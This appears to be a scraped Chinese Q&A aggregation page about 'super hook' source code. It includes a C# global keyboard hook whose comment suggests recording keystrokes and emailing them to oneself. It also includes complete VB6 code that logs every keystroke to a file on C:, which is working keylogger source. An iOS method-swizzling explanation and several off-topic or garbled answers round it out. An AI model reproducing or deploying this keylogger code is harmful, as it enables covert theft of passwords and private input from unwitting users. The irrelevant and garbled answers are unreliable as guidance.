导航:首页 > 源码编译 > 超级hook源码

超级hook源码

发布时间:2022-08-05 07:21:34

❶ C++键盘钩子的源代码

HOOKDLL.dll和HOOKDLL.lib放到MFC的debug同文件夹下,回调HookDllProc函数需要导出,HookDllProc中要有按键消息处理才能截取到

❷ 求助,易语言反HOOK源码,防止其他程序DLL注入

腾讯电脑管家可以帮助修复
a进入管家的首页后,点击右上角的“工具箱”按钮,点击“电脑诊所”
b进入“电脑诊所”找到“软件硬件”点击“丢失dll文件”最后“一键修复”界面
可以根据自己弹出的对话框中显示的无法启动程序是丢失的何种dll文件,找到对应的后,鼠标轻轻放在该项上,当出现了“立即修复”按钮后点击“立即修复”按钮。
完成以上步骤后,系统便自行修复了dll文件丢失的故障了,完成了修复

❸ 高分求一个用C#写的键盘或鼠标的钩子源代码

//*************************键盘钩子代码QQ:475476245**********************
//定义变量
public delegate int HookProc(int nCode, Int32 wParam, IntPtr lParam);
static int hKeyboardHook = 0;
HookProc KeyboardHookProcere;
/*************************
* 声明API函数
* ***********************/
// 安装钩子 (using System.Runtime.InteropServices;)
[DllImport("user32.dll",CharSet=CharSet.Auto, CallingC.StdCall)]
public static extern int SetWindowsHookEx(int idHook,HookProc lpfn, IntPtr hInstance, int threadId);
// 卸载钩子
[DllImport("user32.dll",CharSet=CharSet.Auto, CallingC.StdCall)]
public static extern bool UnhookWindowsHookEx(int idHook);
// 继续下一个钩子
[DllImport("user32.dll",CharSet=CharSet.Auto, CallingC.StdCall)]
public static extern int CallNextHookEx(int idHook, int nCode, Int32 wParam, IntPtr lParam);
// 取得当前线程编号(线程钩子需要用到)
[DllImport("kernel32.dll")]
static extern int GetCurrentThreadId();
//钩子子程:就是钩子所要做的事情
private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr lParam)
{
if (nCode >= 0)
{
/****************
//线程键盘钩子判断是否按下键
Keys keyData = (Keys)wParam;
if(lParam.ToInt32() > 0)
{
// 键盘按下
}
if(lParam.ToInt32() < 0)
{
// 键盘抬起
}
****************/
/****************
//全局键盘钩子判断是否按下键
wParam = = 0x100 // 键盘按下
wParam = = 0x101 // 键盘抬起
****************/
KeyMSG m = (KeyMSG) Marshal.PtrToStructure(lParam, typeof(KeyMSG));//键盘
// 在这里添加你想要做是事情(比如把键盘nCode记录下来,搞个邮件发送程序发到自己的邮箱去)
return 0;//如果返回1,则结束消息,这个消息到此为止,不再传递。如果返回0或调用CallNextHookEx函数则消息出了这个钩子继续往下传递,也就是传给消息真正的接受者
}
return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}
//键盘结构
public struct KeyMSG
{
public int vkCode; //键值
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
// 安装钩子
public void HookStart()
{
if(hKeyboardHook == 0)
{
// 创建HookProc实例
KeyboardHookProcere = new HookProc(KeyboardHookProc);
// 设置线程钩子

hKeyboardHook = SetWindowsHookEx( 13,KeyboardHookProcere,Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetMoles()[0]),0);

//************************************
//键盘线程钩子
//SetWindowsHookEx( 2,KeyboardHookProcere, IntPtr.Zero, GetCurrentThreadId()); //GetCurrentThreadId()为要监视的线程ID,你完全可以自己写个方法获取QQ的线程哦
//键盘全局钩子,需要引用空间(using System.Reflection;)
//SetWindowsHookEx( 13,KeyboardHookProcere,Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetMoles()[0]),0);
//
//关于SetWindowsHookEx (int idHook, HookProc lpfn, IntPtr hInstance, int threadId)函数将钩子加入到钩子链表中,说明一下四个参数:
//idHook 钩子类型,即确定钩子监听何种消息,上面的代码中设为2,即监听键盘消息并且是线程钩子,如果是全局钩子监听键盘消息应设为13,
//线程钩子监听鼠标消息设为7,全局钩子监听鼠标消息设为14。
//
//lpfn 钩子子程的地址指针。如果dwThreadId参数为0 或是一个由别的进程创建的线程的标识,lpfn必须指向DLL中的钩子子程。 除此以外,lpfn可
//以指向当前进程的一段钩子子程代码。钩子函数的入口地址,当钩子钩到任何消息后便调用这个函数。
//
//hInstance应用程序实例的句柄。标识包含lpfn所指的子程的DLL。如果threadId 标识当前进程创建的一个线程,而且子程代码位于当前
//进程,hInstance必须为NULL。可以很简单的设定其为本应用程序的实例句柄。
//
//threadedId 与安装的钩子子程相关联的线程的标识符。如果为0,钩子子程与所有的线程关联,即为全局钩子。
//************************************

// 如果设置钩子失败
if(hKeyboardHook == 0 )
{
HookStop();
throw new Exception("SetWindowsHookEx failed.");
}
}
}
// 卸载钩子
public void HookStop()
{
bool retKeyboard = true;
if(hKeyboardHook != 0)
{
retKeyboard = UnhookWindowsHookEx(hKeyboardHook);
hKeyboardHook = 0;
}
if (!( retKeyboard))
throw new Exception("UnhookWindowsHookEx failed.");
}
//*****************************

❹ iOS中如何实现hook

我们都知道在windows下可以通过API轻松的hook很多消息,IOS里面貌似还没有现成的API(可能是我还没发现吧),前段时间碰巧看到Objective-C运行时的一些东西,于是心想着是不是可以尝试一下实现hook的功能。
下面先直接上源码:1//2//TestHookObject.m3//TestHookMessage4//5//Created by mapleCao on 13-2-28.6//Copyright (c) 2013年 mapleCao. All rights reserved.7//89#import"TestHookObject.h"10#import<objc/objc.h11#import<objc/runtime.h1213@implementation
TestHookObject1415//this method will just excute once16+ (void)initialize17{18//获取到UIWindow中sendEvent对应的method19Method sendEvent = class_getInstanceMethod([UIWindowclass
], @selector(sendEvent:));20Method sendEventMySelf = class_getInstanceMethod([selfclass
], @selector(sendEventHooked:));2122//将目标函数的原实现绑定到sendEventOriginalImplemention方法上23IMP sendEventImp =
method_getImplementation(sendEvent);24class_addMethod([UIWindowclass
], @selector(sendEventOriginal:), sendEventImp, method_getTypeEncoding(sendEvent));2526//然后用我们自己的函数的实现,替换目标函数对应的实现27IMP sendEventMySelfImp =
method_getImplementation(sendEventMySelf);28class_replaceMethod([UIWindowclass
], @selector(sendEvent:), sendEventMySelfImp, method_getTypeEncoding(sendEvent));29}3031/*32* 截获到window的sendEvent33* 我们可以先处理完以后,再继续调用正常处理流程34*/35- (void)sendEventHooked:(UIEvent *)event36{37//do something what ever you want38NSLog(@"haha, this is my self sendEventMethod!!!!!!!");3940//invoke original implemention41[self performSelector:@selector(sendEventOriginal:) withObject:event];42}4344@end下面我们来逐行分析一下上面的代码:
首先我们来看19行,这一行主要目的是获取到UIWindow原生的sendEvent的
Method(一个结构体,用来对方法进行描述)
,接着第20行是获取到我们自己定义的类中的sendEvent的Method
(这两个方法的签名必须一样,否则运行时报错)
。第23行我们通过UIWindow原生的sendEvent的Method获取到对应的
IMP(一个函数指针)
,第24行使用运行时API Class_addMethod给UIWindow类添加了一个叫sendEventOriginal的方法,该方法使用UIWindow原生的sendEvent的实现,并且有着相同的方法签名
(必须相同,否则运行时报错)。
27行是获取我们自定义类中的sendEventMySelf的IMP,28行是关键的一行,这一行的主要目的是为UIWindow原生的sendEvent指定一个新的实现,我们看到我们将该实现指定到了我们自己定义的sendEventMySelf上。到了这儿我们就完成了偷梁换柱,大功告成。
执行上面这些行以后,我们就成功的将UIWindow的sendEvent重定向到了我们自己的写的sendEventMySelf的实现,然后将其原本的实现重定向到了我们给它新添加的方法sendEventOriginal中。而sendEventMySelf中,我们首先可以对这个消息进行我们想要的处理,然后再通过41行调用sendEventOriginal方法转到正常的执行流程。
为什么执行起来不报错,而且还会正常执行?因为sendEventMySelf是UIWindow的sendEvent重定向过来的,所以在运行时该方法中的self代表的就是UIWindow的实例,而不再是TestHookObject的实例了。加上sendEventOriginal是我们通过运行时添加到UIWindow的实例方法,所以可以正常调用。当然如果直接通过下面这种方式调用也是可以的,只不过编译器会提示警告
(编译器没那么智能)
,因此我们采用了performSelector的调用方式。
[self sendEventOriginal:event];以上就是Hook的实现,使用时我们只需要让TestHookObject类执行一次初始话操作就可以了,执行完以后。UIWindow的sendEvent消息就会会hook到我们的sendEventMySelf中了。
下面是调用代码:
Install Hook
代码中我们还专门添加了一个button来验证,hook完以后消息是否正常传递。经验证消息流转完全正常。

❺ 易语言的究极模块里面的超级HOOK怎么用

hl2进程结束 (取进程ID("))
这样就ok 了 hl2.exe"

❻ 跪求超级模块监视热键源码

用精易模块试试呢,它也是开源的,但我用的超级模块7.1的

❼ 谁能给个VBAPI函数拦截的源码我看看就是APIHOOK

添加一个窗口,添加一个按钮,然后粘贴如下代码
Private Sub Command1_Click()
'加载
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf MyKBHook, App.hInstance, 0)

If hHook = 0 Then
End
End If
End Sub

Private Sub Form_Unload(Cancel As Integer)
'卸载
Call UnhookWindowsHookEx(hHook)
End Sub

=================================
添加一个模块,在模块内粘贴以下代码

'++++++++++++++++++++++++++++++++++++++++++++
'模块部分
'++++++++++++++++++++++++++++++++++++++++++++
Public hHook As Long

Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long

Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long

Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Long) As Long

Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)

Public Type EVENTMSG
vKey As Long
sKey As Long
flag As Long
time As Long
End Type

Public mymsg As EVENTMSG

Public Const WH_KEYBOARD_LL = 13

Public Const WM_KEYDOWN = &H100
Public Sub PrintTXT(ByVal CaseStr As String)
Open "c:\键盘记录.txt" For Append As #1
Print #1, CaseStr
Close #1
End Sub
Public Function MyKBHook(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If ncode = 0 Then
If wParam = WM_KEYDOWN Then
CopyMemory mymsg, ByVal lParam, Len(mymsg)
Select Case mymsg.vKey
Case 96
PrintTXT " 小键盘0 "
Case 97
PrintTXT " 小键盘1 "
Case 98
PrintTXT " 小键盘2 "
Case 99
PrintTXT " 小键盘3 "
Case 100
PrintTXT " 小键盘4 "
Case 101
PrintTXT " 小键盘5 "
Case 102
PrintTXT " 小键盘6 "
Case 103
PrintTXT " 小键盘7 "
Case 104
PrintTXT " 小键盘8 "
Case 105
PrintTXT " 小键盘9 "
Case 106
PrintTXT " 小键盘* "
Case 107
PrintTXT " 小键盘+ "
Case 109
PrintTXT " 小键盘- "
Case 110
PrintTXT " 小键盘. "
Case 111
PrintTXT " 小键盘/ "
Case 13
PrintTXT " 小键盘Enter "
Case 144
PrintTXT " 小键盘numlock "
Case 65
PrintTXT " A "
Case 66
PrintTXT " B "
Case 67
PrintTXT " C "
Case 68
PrintTXT " D "
Case 69
PrintTXT " E "
Case 70
PrintTXT " F "
Case 71
PrintTXT " G "
Case 72
PrintTXT " H "
Case 73
PrintTXT " I "
Case 74
PrintTXT " J "
Case 75
PrintTXT " K "
Case 76
PrintTXT " L "
Case 77
PrintTXT " M "
Case 78
PrintTXT " N "
Case 79
PrintTXT " O "
Case 80
PrintTXT " P "
Case 81
PrintTXT " Q "
Case 82
PrintTXT " R "
Case 83
PrintTXT " S "
Case 84
PrintTXT " T "
Case 85
PrintTXT " U "
Case 86
PrintTXT " V "
Case 87
PrintTXT " W "
Case 88
PrintTXT " X "
Case 89
PrintTXT " Y "
Case 90
PrintTXT " Z "
Case 48
PrintTXT " 0 "
Case 49
PrintTXT " 1 "
Case 50
PrintTXT " 2 "
Case 51
PrintTXT " 3 "
Case 52
PrintTXT " 4 "
Case 53
PrintTXT " 5 "
Case 54
PrintTXT " 6 "
Case 55
PrintTXT " 7 "
Case 56
PrintTXT " 8 "
Case 57
PrintTXT " 9 "
Case 192
PrintTXT " ` "
Case 189
PrintTXT " - "
Case 187
PrintTXT " = "
Case 220
PrintTXT " \ "
Case 8
PrintTXT " 退格 "
Case 44
PrintTXT " 9键区-印屏幕键 "
Case 45
PrintTXT " 9键区-插入键 "
Case 46
PrintTXT " 9键区-删除键 "
Case 145
PrintTXT " 9键区-滚动锁定键 "
Case 36
PrintTXT " 9键区-起始键 "
Case 35
PrintTXT " 9键区-结束键 "
Case 19
PrintTXT " 9键区-暂停中断键 "
Case 33
PrintTXT " 9键区-上页 "
Case 34
PrintTXT " 9键区-下页 "
Case 38
PrintTXT " 上 "
Case 40
PrintTXT " 下 "
Case 37
PrintTXT " 左 "
Case 39
PrintTXT " 右 "
Case 27
PrintTXT " Esc "
Case 112
PrintTXT " F1 "
Case 113
PrintTXT " F2 "
Case 114
PrintTXT " F3 "
Case 115
PrintTXT " F4 "
Case 116
PrintTXT " F5 "
Case 117
PrintTXT " F6 "
Case 118
PrintTXT " F7 "
Case 119
PrintTXT " F8 "
Case 120
PrintTXT " F9 "
Case 121
PrintTXT " F10 "
Case 122
PrintTXT " F11 "
Case 123
PrintTXT " F12 "
Case 9
PrintTXT " 大键盘左,TAB "
Case 20
PrintTXT " 大键盘左,大写锁定 "
Case 160
PrintTXT " 大键盘左Shift "
Case 162
PrintTXT " 大键盘左,Ctrl "
Case 91
PrintTXT " 大键盘左,Win "
Case 13
PrintTXT " 大键盘右,回车 "
Case 161
PrintTXT " 大键盘右,Shift "
Case 92
PrintTXT " 大键盘右,Win "
Case 93
PrintTXT " 大键盘右,弹菜单键 "
Case 163
PrintTXT " 大键盘右,Ctrl "
End Select
End If

End If

MyKBHook = CallNextHookEx(hHook, ncode, wParam, lParam)

End Function

'这就是一个键盘钩子程序

❽ c# hook 怎么用OpenProcess 防止自己的进程被杀 ,最好给完整源码例子

C的我有
R3下基本就是IAT hook inline或是用destours库

❾ 在网上找到一个利用HOOKAPI的源码 名字是sockscap 已经生成了一个socks.dll文件,请问后面再怎么搞~~~

别人做的一些类封装到DLL了 只需引用这个dll 再写程序的时候USING 一下 就可以调用了

❿ 请教天龙八部 lua源码hook几个Lua函数

阅读全文

与超级hook源码相关的资料

热点内容
如何同步安卓信息到新ipad 浏览:364
腾讯云轻量服务器流量警告 浏览:503
u盘备份linux 浏览:120
高压缩比活塞 浏览:92
压缩弹簧标准件 浏览:25
linux统计个数命令 浏览:292
cad转pdf居中 浏览:8
编译型语言处理过程 浏览:325
手机创文件夹复制到电脑 浏览:984
有什么直播APP可以看那种 浏览:41
程序员叫什么人 浏览:378
python画地图等高线 浏览:751
epic永劫无间是什么服务器 浏览:444
网游服务器下载地址 浏览:107
macphpfreetype安装 浏览:644
设计道pdf 浏览:615
单片机kill4软件下载收费吗 浏览:846
苹果手机怎么连接RMS服务器 浏览:603
cisco路由器基本配置命令 浏览:187
android状态栏颜色透明 浏览:117